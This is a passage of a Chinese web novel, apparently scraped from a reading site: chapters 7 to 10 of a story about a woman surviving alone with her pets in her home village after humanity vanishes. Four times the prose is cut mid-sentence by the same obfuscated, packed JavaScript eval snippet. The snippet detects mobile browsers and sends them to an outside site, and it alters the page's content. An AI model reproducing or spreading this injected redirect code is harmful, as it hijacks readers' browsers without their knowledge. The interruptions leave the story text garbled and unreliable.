天气热,冰箱没电用不了,风栖就没有储存多少新鲜的肉,结果现在想做碗肉酱面都不行。 最后风栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709683|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地在面里卧了四个蛋,又奢侈地去储藏室削了两片火腿,菜地里现摘了两根辣椒和一把小青菜,一起下进面里,吃得一脸满足。 结果回到大厅风栖又痛苦了,昨晚她明明放了七个猫砂盆,猫砂也堆了很多,不知道哪个家伙还是随地乱拉,风栖扫出了足足半袋子毛和粪便。 她不得不把猫狗按数量分开关在不同房间,实行宿舍制。 “你们乖一点,不要打架,知道吗?打架的坏宝宝没有罐头和小零食。” 听不懂,这群小东西只会蹭来蹭去。 “蛋黄,你是大哥,带好小弟们,知道不?” 蛋黄嗷嗷叫,拿脑袋顶她。风栖摸了摸狗头反应过来,自己出门得带上蛋黄的。 算了先剥夺蛋黄一天的大哥权利使用期好了。 一路上腐臭味更浓了。 前一天还是似有似无的隐约臭气,今天闻到的臭气有如实质,那种蛋白质腐烂和草木的潮腥水汽混杂在一起,十分上头。 现在基本没有亮着灯牌的商店了,不管什么地方一眼看过去都灰扑扑带点绿,风栖凑近细看才发现冒了一层细细的绿芽,马路路面、两边路灯、街道上的店面都泛出绿意。 可能是下过雨的缘故,有些墙角还冒出了蘑菇,细细长长一根根集成一簇,比金针菇略粗一些,也是灰色的。风栖掐了一朵,蘑菇盖脆脆的,闻着有股清甜蘑菇香。 风栖不确定这有没有毒,家里又不缺吃的,她不得已打消了这个念头。 但是蘑菇真的很鲜啊! 不想还好,一想起来风栖脑子里各种蘑菇满天飞,蘑菇小炒肉、菌菇汤、蘑菇酱、蘑菇包子…… 结果一进超市风栖就差点被熏出来,本来风栖以为一路的腐臭味已经闻习惯了。好家伙一进门,什么蘑菇不蘑菇都不重要了,防毒面具呢?快端上来! 最后风栖摸了个头盔又戴上了乳胶手套,装走了超市里的蘑菇干,薅满了好几个保鲜袋,除此外又疯狂装卫生巾和各种腊肉火腿腊肠。 超市里又闷又湿又热,角落里又阴阴的透着冷,蚊虫多了起来。风栖想着接下来六七月只会更热,环境更恶劣,不如一次性把需要的装齐,就不必再来了,结果当她第五次推着购物车装箱时,蛋黄忽然对着超市大门疯狂叫起来。 风栖心一抖,她从来没听过蛋黄这么凶狠地叫过。 她顾不上这一购物车的面粉鸡蛋腊肉,马上抱起蛋黄跳上车关上车门,确定门窗锁好了,才惊魂不定地往外看。 蛋黄停止了狂吠,但它没有停止警惕。风栖试着把它抱在怀里,蛋黄的背还是硬硬的,喉咙里发出低声的警告般的咕噜声,尾巴不安地扫来扫去。 风栖紧紧地抱着它,她想安慰蛋黄,或者想说点什么缓解一下气氛。这辆车很稳固,在车上关紧了窗户应该安全了,可风栖发现自己说不出话来,抱着蛋黄的手臂也在发抖。 等了一会儿,蛋黄凶狠吠叫的那个角落慢慢爬出一条蛇,蜿蜒的,慢慢缠在了购物车上。可能购物车上没有它想要的猎物,它环绕两圈后又蜿蜒着爬下来。 风栖抖着手拍下那条蛇,看起来不算太长,一米左右,漆黑身上长着一截一截的白色斑纹,有点像斑马的花色。 风栖不认识这种蛇,但从蛋黄的反应来看这种蛇危险性一定不低。眼看它慢慢往汽车方向爬来,风栖顾不得许多,马上开锁踩下油门发动汽车。此时她无比庆幸自己今天装物资的时候把窗户关死了,要不谁知道会不会有别的蛇跑进车里? 她想试着碾过那条黑白相间的蛇,可是它跑的很快,一扭便从太阳底下蹿到了阴影中。风栖不再追,也不敢下车去把购物车上的东西搬回来,权衡一番后,风栖决定这些东西不要了,先回去。 7.第 7 章 回家后,风栖单独给蛋黄开了个罐头,蛋黄吃得满脸幸福。风栖又去各个房间里巡视了一番,确定这些小东西生命力很顽强,就不再管了。 其实到现在才准备养家禽已经晚了,风栖没养过鸡鸭,但是她外婆家里养过,她知道鸡很胆小,也容易生病,一生病就容易变成传染病,她外婆都不敢养太多,只留了几只老母鸡下蛋。去年禽流感大爆发,外婆直接把养了几年的鸡全都埋了。 在农贸市场的鸡没人喂养,已经死了很多。所以风栖不仅带回来十几只看起来精神不好的鸡和鸭,还带回来许多蛋。 农贸市场的蛋应该不全是无精蛋吧? 风栖算了算,自己带回了大概一百个鸡蛋,只要能孵出两到三只,她就赚了。 鸡生蛋,蛋生鸡,子子孙孙无穷尽也。 带回来的鸡和鸭被她暂时先关在了邻居家,因为害怕野狗偷食,风栖特地选了二楼的两个房间,锁好窗户,又找出几个收纳盒当做食槽倒饲料进去。 她看不出这些鸡鸭有没有生病,只能祈祷它们都是健康的。 目前鸡鸭还能吃饲料,风栖装回来不少,足够吃到保质期过期。等保质期过了,她就该考虑怎么填饱这么多张嘴了。 掏了两个面包下楼,风栖还在边想着这个问题,玉米、麸皮、再加点虫,比如蚯蚓什么的,剁碎了都可以当饲料。风栖搜索了一下,还需要鱼粉贝壳粉什么的,好在村里就有鱼塘,这些肯定不缺。 应该不会养出病吧? 算了,要是这也能得传染病,就不养了,大不了需要吃肉的时候设陷阱抓鸟吃,鱼塘里还有鱼呢,饿不死的。 查找完鸡饲料鸭饲料配方后,用家里存货配置了一份,准备晚上再喂一次。风栖才想起来识图。 今天那条蛇真的让她吓了一跳。其实她生活在南方,什么老鼠蛇蜈蚣都见过不少,以前宿舍里还爬进过一条菜青蛇呢,都是她和宿舍长用晾衣杆把蛇弄走的。她本来不怕的,是蛋黄叫成那样才让她恐惧,再一搜,发现很可能是剧毒的银环蛇,风栖就更怕了。 她想过城市会慢慢被野生动物侵占,但她没想到来的这么快。现在已经有蛇了,再往后呢?会不会有狼?有狮子老虎? 不对狮子好像是热带动物? 那狼呢?熊呢?万一真有这些猛兽,自己该怎么办?养的狗真的能保护她吗? 得增加点自保的办法。 风栖啃完了两个面包,又在一楼找出点零食,准备干活。 一楼堆放了不少金属网格片,那是风栖回家路上经过五金店忽然想起来进去搜刮的。她本来还想着怎么垒鸡窝,好让鸡的活动范围大一点但是又不会被野兽叼走,紧接着她就想起这东西来了。她特地挑的店里最厚最大规格的网格片,拿来当窗户防盗网都足够。 暂时解决不了的事就不想了,风栖坐下开始干活,握着老虎钳拧着试了试,确保金属网格结实后,才把铁丝缠上去,费劲地用铁丝把网格片装在一起。因为怕不结实,铁丝也选挑了比较粗的,一般情况下掰不动。 结果就是她装了四十多分钟手都快废了才装好。 成果还是让她比较满意的,五十乘五十的金属网格片,变成一大块L型的防护网,量了一下,两米宽高,长两米五,肯定够了。 到时候还得去工地弄些水泥砂浆来,方便固定。 做完这一切都快两点了,太阳照的老高,昨夜雨水早就被蒸干,地上飘出燥热的暑气。 风栖把昨晚的脏衣服拿到井边洗。裤子确实被她扔了,衣服本来也要扔,发现是哪件后又舍不得。 这是堂妹出来工作后用第一个月工资给她送的衣服。 当时堂妹可高兴了,第一个月工资兴冲冲全花在家人身上。风栖自己高高兴兴收下,又包了个更大的红包回去。风栖爸妈却没说什么好话,当着一家人面问,知道给堂姐买,怎么不给姑姑姑父买?堂弟都知道买点补品。堂妹气哭了,和堂弟大吵一架,才知道堂弟送出的补品本来就是她买的,寄到家里叮嘱弟弟要给姑姑姑父。结果堂弟不知是故意还是没心眼,送是送了,没说是堂妹买的。 本来是好事,结果因为这一件衣服又引得家里人吵架,风栖就不穿了,一直放在老家,以免又叫家里人想起来,一放就是三年。昨天收拾东西翻出来风栖都有点忘了,结果在快扔掉衣服的时候忽然忆起来这么桩公案。 井水清冽冰凉,搓干净泡沫后,风栖顺手洗了把脸,清凉的水汽让她忽然很想吃冰西瓜。 以前老家没拆时院子里也有一口井,到了夏天,爸爸隔几天都会去摘一个西瓜,用桶吊了浸在井水里。等吃过晚饭后,一家人就会坐在院子里分西瓜。 不过因为家里的菜刀都用同一把,所以风栖经常能吃到辣椒味或者蒜香味西瓜,导致她小时候又渴望又害怕饭后吃水果这一环节。 风栖一时间分不清自己到底是真的想要西瓜,还是想别的什么。 最终归结为只是嘴馋,偏偏清楚地知道自己吃不到,就算有,现在来着月经也是不能吃冰的。 哎,惆怅。 最近是饿死鬼投胎吗?怎么什么都想吃? 风栖唾弃自己后,下午还是在村里转了转,准备摸清村里的物资储备。 她换了一身长袖长裤,戴摩托车头盔,脚上也穿着老式黑胶雨靴,左手拎斧子,右手牵蛋黄,背上背了把小型电锯,也是偏老式的电池款。以自家老房子为中心,一路走一路绘制简单的地图。 让她感到高兴的是,村里果然有瓜田。等她走了几个小时绕一圈回到家,没有遇上什么危险,地图上多了瓜田、各色菜地、水稻田、鱼塘和果树林的标记。 水稻田不大,看起来两百来平,风栖记不起来是谁家的,可能是那户人家种了准备自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725663|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。说来惭愧,她其实都不认得水稻,还是经过一大片整齐水田时心里隐约有个猜测,然后赶紧拍照识图,当时风栖惊喜地几乎快跳起来。 这户人家种的是早稻,再有一个月就可以收割了,虽然风栖根本不知道怎么收稻子,也不知道收了以后该怎么办,不过这不妨碍她为此高兴。 水稻田附近都是菜地,许多菜放在超市里风栖认识,种在地里她就不认得了,所以一边走一边搜索,然后在纸上记下位置。 目前在市面上能买到的不少蔬菜都有种植,虽然……因为没人搭理的缘故,几天就长满了野草,风栖不知道多少次以为是不认识的菜苗,结果识图搜索出高大上的学名看了半天才发现是野草。 还有许多果实被鸟或老鼠什么的啃了,尤其是番茄、南瓜这类六七月就可以成熟的蔬果,被啃得最厉害。 鱼塘边也有不知名野兽的痕迹,岸边被冲上来十几条死鱼,鱼明显被啃食过,飘着又湿又腥的恶臭,爬满了蚂蚁。 果树林还好些,风栖发现了橙子树林和柚子树林,有户人家的院子里还有棵石榴树。这时的橙子和柚子已经开始结果了,只是结的果都不大,从林中走过去,还能闻到未谢净的花香。 风栖跑了一下午,穿得又厚,又累又热,衣服都湿透了,可她不敢脱装备,谁知道草丛里有没有蛇?树上有没有马蜂? 结果就是等她回家以后,雨靴脱下来都能倒出汗,衣服拧一拧能直接拖地,风栖自己都受不了那个味儿,马上换过衣服烧水洗澡。 忙完一切天都要黑了,洗了个澡更饿,好在炉灶上的火一直生着,风栖饿得前胸贴后背,懒得做什么菜,大米加上两片火腿、一根香肠放进小锅煮。几十分钟后加入今天从地里带回来的两根小胡萝卜和半颗花菜。 最后算着时间一掀锅,热腾腾白汽扑了满脸,撒上一把红辣椒和香菜,香得她口水都要流出来了。 什么是幸福?这就是幸福! 最后风栖真的吃撑了,心血来潮称了一下体重—— 哇喔,重了六斤。 原先风栖也就一百零三斤,她不算高,一米六二,这个体重看着还算瘦。这两天吃得多动得多又睡足了觉,体重噌噌涨,现在都快突破一百一了。 不过风栖没觉得自己长了多少肉,她对镜子认真地打量自己,感觉用“结实”这个词形容更好些。 结实了一点,皮肤粗糙了一点,因为剃了光头,头皮和脸一样都变黑了。 她心中升起一股奇异的感受,她第一眼并不觉得自己变好看或是变丑了,而是发觉自己看起来有些像年轻时的爷爷。 也不错,爷爷年轻时是大帅哥。 “爷爷想起妈妈的话,闪闪的泪光鲁冰花……”风栖哼着歌喂家养禽类宠物,总觉得歌词有哪里不对劲。 算了,管他呢,反正没人听。 睡觉睡觉。 8.第 8 章 “五月十五日,这是第一天。醒来后,我发现四周没有人。 我做了能做的一切,我猜测,一切发生在五月十五日零点,在那时,一定有我不知道的事发生了,导致除了我以外的人类都消失了…… 我不太明白自己有什么特殊的地方,为什么偏偏是我?不过也有可能还有其他人吧?国内?或者别的国家,也许有神秘力量把我们的网络互相屏蔽了。应该不至于只有我这么倒霉…… 我回了老家。” “五月十六日,晴,今天依旧没有进展……” “……没电了,水龙头的水也污染了。还好,邻居家有一口井,村里还有水塘,有一条河……” “五月十八日,大雨……” 新的一天,也下了小雨,风栖就没有怎么出门,一大早冒雨找到附近工地,把工地上的红砖拉了好几车回来,就安心在房间里待着了。 她准备在邻居家院子里垒个鸡窝,再在井边搭一个炉灶和小房间,这样就不需要每天费劲推着水回来烧了。 结果砖头带回来以后雨越下越大,风栖记得砖头砌墙前要先浇透水,搜了一下确实是这样,便不管堆在院子里的砖头了。 一楼猫猫狗狗们疯狂追逐打闹的声音,吵吵闹闹的让人安心。风栖坐在三楼大堂,窗开了半扇,迎着舒爽凉风,提笔写日记。 现在人类消失了,也许以后会生出新的人类,新的文明吧。 抱着这个念头,风栖写下日记,她尽可能不去描述自己的心情,而是客观描述当日天气、自己所见的环境变化、以及自己的猜测。 即便她的推测可能很幼稚,很不成熟也没什么科学依据,可谁知道她的天马行空能不能为后世有可能出现的文明带来一些灵感呢? 除了日记,还有画,风栖学过点简笔画,但不多,她尽量把自己的生活和所见所闻都画了下来。 文字或会失传,图画意蕴却可永恒。现代人何尝不是通过壁画,窥见千万年前的同胞生活? 把前几天的“日记”也补上了,风栖看一眼手机屏幕,想起了什么,又去拿了尺子和几十张卡纸,照着手机日历,开始画日历。 先画格子,再标数字、星期。然后标记上对应的农历日期,画起来还是很快的。很快风栖就一直画到了后年。 充电宝,她囤了几百个,备用手机也囤了不少。但风栖不能确定这些设备能用到什么时候,她想过装一个太阳能发电机,但她不也许自己不能成功,也许某天醒来信号也没有了。 画完了日历,风栖在今天的日期下,打了个勾。 她心中忽然平静了下来,就像吊起来多日的大石头终于放下了。 就当迎来了新生活吧。 中午,雨还在下,小了些,暑热气息不仅没有浇灭,反而更汹涌地蒸腾而来。一直到三点多,雨终于停了,阳光毫无避讳地肆意播撒热气,院子里的雨水很快就蒸得干干净净。 风栖给院里的砖头们盖上一层塑料布,四边压实了以免被风吹跑。 望了望放晴的天,想起家里没有新鲜肉了,风栖将蛋黄和另一条毛色黑白体型略大些的狗带出来,拉着小推车,带它们去了村中的鱼塘。 风栖都快不认识村子了。 雨里加了什么生长激素吗?这些花花草草和蘑菇什么的长得也太快了吧? 风栖还是特地换的膝盖高的雨靴,结果野草疯长起来一点都不讲道理的,去鱼塘的那条小路直接被到她大腿高的野草给淹没了,草尖树枝刮在身上,刺刺得微疼。 蛋黄和大黑白也被埋没了,从顶上看只能看到野草被穿行出两条小小的流水般的痕迹。 不过大黑白比蛋黄要聪明一点,自己在野草丛里跑不快,就跟在风栖腿后让人开路,再后来干脆跳进小推车上的桶里。 蛋黄有样学样,跳进桶里享受人力车待遇。 “你们俩,把我当司机是吧?”风栖回头,在两条狗脑袋上敲了敲,又忍不住笑。 她抄着镰刀和长竹竿,边敲边走,真让她敲出几条小蛇,不知是被两条狗凶狠咆哮还是被她竹竿敲疼了,飞快溜走。 鱼塘边野草更多,大多有一人高。风栖认识其中一种,叫不出名字,叶子长长尖尖的,叶脉一丝一丝脉络明显,如果顺着叶脉摸会刺刺的,边缘也十分锋利。小时候她就很喜欢拿这种草编篮子玩,经常不小心被割伤。不过风栖从小就不长记性,割伤了包个创口贴继续编,最后经常满手都是小口子,笼子没几天就不见了。 风栖撒下网后,就在河边摘叶子玩,先编了个兔子,又编出个巴掌大的小笼子,河边虫多,她很容易就抓了只蚂蚱,关进笼子收口栓紧,它就只能在笼子里拼命蹦跶了,连带提着笼子的绳都抖得厉害。 “桀桀桀,你跑不掉了,知道吗?老老实实当鸡饲料吧。”风栖提着笼子威胁。 蚂蚱蹦哒得更激烈。 蛋黄和大黑白两条狗也欢快地跑来跑去,不知道在捉虫子还是什么。跑了一会儿蛋黄就呜呜汪汪跑回来,在她腿边很委屈地汪汪叫,风栖抄起这只小黄狗拨开毛仔细检查,发现它被叮了七八个包,脖子往下那里连着一片小红包,背上更多。 大黑白也来了,在她腿边蹭了两下,和蛋黄一疼就嗷嗷汪汪不同,它只是用圆眼睛看着风栖,就像做错事被主人嫌弃不敢过来似的,喉咙里发出低低的呜声。 风栖蹲下去给它检查,它被叮的包也不少,扇形的耳朵边也有几个细小的红点。风栖看着就痒了。一般蚊子叮了留个红包,涂点药就不那么痒了,那种带白斑的黑蚊子叮咬的时候一点感觉都没有,咬完了才留下小红点。 确实,这个季节蚊虫多了,河边更是多。风栖自己穿了长袖长裤和雨靴头盔,两条狗可没有防护。 “不怕,回去给你涂点……嗯,狗能涂花露水吗?”搜一下先。 搜索结果很不妙,人能用的花露水青草膏一类的物品狗狗都不能用,最好还要远离。不过风栖倒是搜索到,被蚊子咬的地方可以涂点肥皂水。 “回去给你们涂点,乖宝宝们。” 风栖说着,看时间也差不多了,收网。 这是风栖第一次自己网鱼。 鱼塘主人和她爸是好朋友,她爸总能抽空过来夜钓。她回老家也经常趁周伯撒网的时候来凑热闹,时不时还能拎几条鱼回家加餐。 她看周伯撒网收网轻轻松松,结果轮到自己了,别说收网,人都差点跌到池塘里去,还好穿着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759047|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨靴结实,滑了一下马上就站稳了,两条狗也跑过来试图咬着渔网往上拖,被她推开让两条狗自个儿去玩,不然渔网被咬破了,她可不会补。 很显然,她是个天才,第一次网鱼就捞上了,嗯……一、二、三…… 整整十一条鱼。 不管,小鱼也是鱼。 一倒进桶里,风栖就暗道失策。桶太小了,就盛了半桶水,鱼倒进去后一个劲翻腾,把盖子打得噼里啪啦响。 算了算,家里嗷嗷待哺的几十张嘴巴,风栖本来还觉得挺多的,这么一看又有点嫌少。 要不再捞点?反正盐囤了挺多的,吃不完的就腌起来嘛。 至于这个桶……嗯……就跟高峰期的地铁一样,挤一挤总是能装下的。 风栖费劲巴拉地又撒了一网,感觉自己腰都要断了,大姨妈还剩一天呢就顶着大太阳干苦力,真是感人泪下。 风栖决定一定要把这件事写到自己的自传里去。 哎等等,那两条傻狗跑哪儿去了? “蛋黄??大黑白?” 风栖隐约听到狗叫,但是她听不出是不是那两条傻狗,镰刀拨开草丛找了两圈,还没见到踪迹,风栖有点心急了,叫得更大声。 “蛋黄!!你们别吓我,你们去哪了?!” 短短几分钟风栖脑子里已经蹦出掉河里被蛇咬了被其他野狗围殴了等等可怕脑补,结果直到一个毛绒绒狗头在她脚边蹦两下她还没反应过来,吓了一跳。 “天啊,蛋黄,你们……你们打猎去了?” 蛋黄和大黑白两条狗嘴里各叼着一只兔子,灰扑扑血淋淋的,一动不动,不知道还活着没。蛋黄嘴里的那只兔子格外肥,它这小身板都快叼不住了。 蛋黄兴冲冲把兔子在小推车边放下,就高兴地去蹭风栖的腿,兴奋地嗷嗷叫,满脸写着求夸夸。大黑白就矜持很多了,怎么看都感觉它有点舍不得那只兔子,恋恋不舍也在小推车边放下后,轻咬风栖的裤腿往一个方向拽,看起来向带她去某个地方。 风栖先没管,而是把两只狗都抱过来摸了摸,不得了,大黑白的肚子是鼓的,这家伙居然偷吃! “大黑白,我对你很失望你知道吗?”风栖戳了戳黑白相间的狗头。 大黑白什么都不知道,一脸无辜,还在轻咬她裤腿往一边轻拽。风栖没奈何,跟着过去,在一丛被荆棘包围的小土坡边居然看到一窝野兔子。 风栖大着胆子凑近去,野兔子们都不大,看着都是小兔,一共有五只,一只已经被吃干净了,剩一点灰扑扑毛发。另外四只都死了,不知道是这两条狗干的还是别的野兽。 风栖比较倾向于前者,虽然自己什么都没教过,但狗血脉深处捕猎的本能让它们无师自通杀死猎物。 然后,它们想到了自己。 蛋黄咬着的那只应该是母兔? 风栖也不计较那只被偷吃的野兔了,在两只狗头上都摸了摸,狠狠揉揉蛋黄的尖耳朵,把蛋黄揉得舒服地翻着肚皮嗷嗷汪汪叫。 “你们好棒。”风栖毫不吝惜自己的夸奖,疯狂夸夸。 现在就能打猎,以后说不定能猎捕到活的野兔野鸡什么的,大兔生小兔,自己岂不是很快就能养兔子了? 9.第 9 章 这趟鱼塘之旅堪称满载而归。满满一桶鱼,大的小的加在一起五十来条,五只野兔,一颗大白菜,还有几棵看着很眼熟在餐桌上见过但是忘了名字的菜,也被风栖顺手摘了回来。 每次从外面回到家,那个气味都很上头,自家一楼并院子里养了二十多只猫猫狗狗,邻居家一楼已经被自己征用养鸡鸭了,味道也不好闻。 所以风栖没急着换下装备,而是戴着头盔穿着雨靴,先屏住呼吸铲屎。 拎着满满当当两大袋能熏死人的排泄物,找了最近的菜地,挨个洒过去,洒完了才回家,塑料袋被她随意扔路边了。 菜地里野草也长得飞快,乍一眼看过去,一时间分不清菜地主人种的是什么。 再次回到家,天刚擦黑。风栖把盖在砖头上的塑料布掀开,撑在用来晒被子的晾衣架上。两边晾衣架撑开用砖头固定住,塑料布下方再用砖头垒高几寸,就是个简单的小雨棚。这样,就算晚上下了雨,跑到院子里的猫狗也能找到地方遮雨。 风栖将那群跑来跑去毛绒绒的小东西都赶到院子里,又把一楼大厅门关上。 之前是她想的太简单了,导致每天光打扫就成了麻烦事。 风栖打算定下,以后就让猫狗们固定住在院子里,可以进屋玩,但不能上楼,不能在屋里排泄。她不打算再用猫砂,所以她得让猫狗学会在菜地里上厕所。 她自个儿又去邻居家提了桶水来,点着大蜡烛,在院子里杀鱼。 那么多条鱼,风栖自己只留了一条巴掌大的,用来煮鱼汤。她从厨房里翻出了个小锅,在院子里用砖头垒了个简单的方形,里面堆上煤,就是个简易的小型碳炉了。 其他的鱼,一条条剖鳞去骨,再把肉剁碎了,倒进食盘,不必她说,猫狗们早就忍不住了,围着她一个劲叫唤,撒娇打滚,颜色各异的毛满天飞。 刚处理好一条放进食盘呢,转眼就没了,就跟她没放似的。最后风栖手都酸了,鱼汤也煮好了。食盘里干干净净,猫狗们在院子里溜达。 鱼鳞是不是含钙来着? 风栖把鱼鳞扫做一堆,犹豫半天,最后还是决定明天天亮后扔了。 她还不忘切下点肥皂,调了肥皂水,把这群小祖宗们挨个抱过来看看,大多都被蚊子咬了,毛发底下一连串红包,看着很可怜。 风栖顿时原谅了这群小家伙的噪音,挨个涂肥皂水止痒。害怕它们会去舔,擦过不久后又沾点儿清水洗掉。 唔,只要肥皂水的碱性物质中和掉蚊子注射的酸性物质,就不会痒了吧?所以擦掉应该也没关系? 风栖不确定,不过做了总比没做好。她没法灭绝蚊子,只能简单给它们祛祛痒。 结果洗澡的时候风栖发现自己身上也有不少小红点。腰背上就不说了,小腿上、脚背上都有,就连光头上也有俩,她对镜子照的时候还不敢相信。 她在户外不是一直穿雨靴戴头盔吗?怎么还能有蚊子穿破防线啊? 难道是在家里被叮的? 风栖陷入深深的怀疑中。 一天好像过得很快,什么都没做就过去了,又好像过得很慢,风栖细数下来,自己写了日历,画了日历,下午去捉了十几条鱼…… 好像也不算做了太多吧?怎么今天就又要过去了? 最后风栖还是看着手机屏幕上的时间,才反应过来,现在才天刚黑,才八点。以往这个时间,自己如果正常下班就已经吃过晚饭了。如果加班也该到家了,随便吃点或者出去逛夜市,再回家看电影打游戏,一直到晚上一两点才睡。 现在没有电,她被迫体会古代人作息,天一黑就觉得一天要结束了,但是现在离十二点还有好几个小时呢。 一想起来风栖心里就抓心挠肝地难受,网瘾犯了和烟瘾差不多,这会儿没wifi 没电,有电脑却打不了游戏,有平板却追不了番。 可恶啊啊啊…… 最后风栖认命了,从自己带回来后就再没翻过的书堆里找了本《蔬菜栽培百科全书》,决定好好钻研学习。 光看书不做笔记怎么行? 精心挑选一本好看的笔记本,带有仪式感进行拆封,上午写日历画日历的那只笔有点没水了,换一只漂亮的签字笔。这桌面也有点脏,擦一下。天黑了,点着几根大蜡烛把屋里照得通明透亮,不然会影响视力。 中途会口渴的,炖鱼汤剩下的开水再煮沸,泡了一壶茶,摆在桌边。 万事俱备,只差学习。 …… 两个小时后,风栖揉眼睛,扭着酸痛的脖子打哈欠坐直身子。 不对劲,怎么睡着了? 梦里还满脑子都是刀豆豇豆扁豆四季豆黄豆……再一看,书才翻了个十几页而已,笔记更是只写了一面。 这…… 风栖甩了甩头,实在不愿承认自己竟然堕落到这种地步。 一定是农业书太难了!不是她的错! 她如此聪明勤奋,怎么会看书看睡着呢?一定是这几天太累了,加上来大姨妈耗了气血,没错就是这样。 风栖决定放过自己,再看看时间,还不到十点,便重新挑一本书。 进去挑了半天,风栖败了,颓废地坐在书堆里。 搬运书的时候,风栖满脑子都是如何生活,所以她挑的全都是种植、养殖、气象、医疗等方面的百科全书。 放在平常这些书倒不至于看不进去,上班摸鱼的时候连纸巾说明书都看得津津有味。但风栖现在就是想换换心情,放轻松一点,看点不带脑子的东西。 她只是想轻松一些而已,嘤。 最后风栖还是从自个儿收起来的杂物当中,找到了家里以前放起来的小说合集。 准确来说,应该是童年回忆小杂志? 一大堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770071|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《故事会》《意林》《猛鬼故事》《读者》什么的,意外地都保存得很好,除了纸张泛黄外,没什么霉气。 风栖都不记得自己多久没看过这些书了。不过她还记得《读者》《意林》里那些搞笑小故事,让她从小非常憧憬拥有素质高爱干净人民的国家。 要不是长大后大家都学会上网了,自己也赚了钱出国玩过几次,可能到现在她都会相信某些国家的工匠精神,以及为救一只电线杆上的小麻雀不惜全国停电的珍爱生命。 风栖笑得很大声,把乱七八糟的鸡汤书翻了出来先扔一边。 当晚,她连看十本《猛鬼故事》,成功把自己吓得缩在被窝里不敢出来。后面她也不知道怎么睡着的,隐约好像做了几个非常刺激的噩梦。 醒来一看,床头柜边的蜡烛早就变成了一滩蜡油,柜子给熏黑了一大块。 风栖是惊出了一身冷汗,后知后觉想起,自己昨晚没有吹灭蜡烛就睡了。 以往她也有忘记熄灯的时候,大不了就是浪费一晚上电。可自己怎么会忘记吹灭蜡烛? 真是…… 风栖愤愤地锤了下床板。 以后,绝对绝对不可以再这样了。要是真着火了,自己是绝对灭不了火的…… 等等,着火? 风栖回想起以往每到这个季节,自己手机上就会收到的预防山火的短信,尤其在清明节和暑假最多。 风栖也明白,山林中树木多,含氧量高,一丁点小火星都容易引发大火。她自己清明节回乡祭祖时,都不敢点火烧纸。 但是…… 风栖坐起身,隔着窗户远远看到不远处起伏的青色山峦,欲哭无泪。 自己当初选择回老家,一是想回家,二是心理隐隐清楚,人类消失绝不是一两天的事儿。她心里对比过,南方虽然蚊虫多,但是各种野菜瓜果和水资源也多,冬天暖和,就算夏天热些,大不了不出门,总能活下来。 北方就不一定了,北方蚊虫少,地势也平坦,可冬天没有暖气,只靠生火,自己是绝对扛不住的。 她不断比对,确定老家很宜居才回来定居,在发现老家离城市有段不近的距离后还高兴。 可现在看来,这老家是不是离山里太近了? 万一有山火,自己不是完蛋了? 风栖盯着山看了会儿,翻身穿衣服下床,顾不上吃早饭就匆匆开车出去。 先确认一下,如果真的很危险,那就只能搬家了。 途中她照旧打开手机录像,把沿途风景都记录下来。围着整个村转了很大一圈,一个上午的时间都耗在了这上面。 最后结果令风栖欣慰。果然,望山跑死马这句话不假,那些山头看着近,离得远。最近的一座山也有至少十五公里,差不多三十里了。就算真有山火,暂时也蔓延不过来,即便蔓延过来了,到那时再说呗,总能想办法逃的。 10.第 10 章 难得离家那么远,秉承着来都来了的想法,风栖继续搜刮。见到店就进去囤货,主要囤积电池、蜡烛、火柴、打火机,木炭、汽油一类,灭火器也装了好几瓶。 直到整辆车都装满了,门都差点关不上才罢休。 风栖自个儿都想笑,现在她的车上算不算装满了违禁品?随便来个交警恐怕都要把她逮进去好好盘问。 来时风栖只顾着盘查山火危险,沿着村落外转了好大一圈。如今要回去了,便又走新的路。 其实不管哪条路都长得差不多,近一个星期无人维护,路牌、路灯、栏杆都布满了灰绿色。那是不知名的植物上落满灰尘后酿出的色彩。 树木、藤蔓、茂密的灌木丛……要不是人类设施还在,风栖都以为自己来到了原始社会。 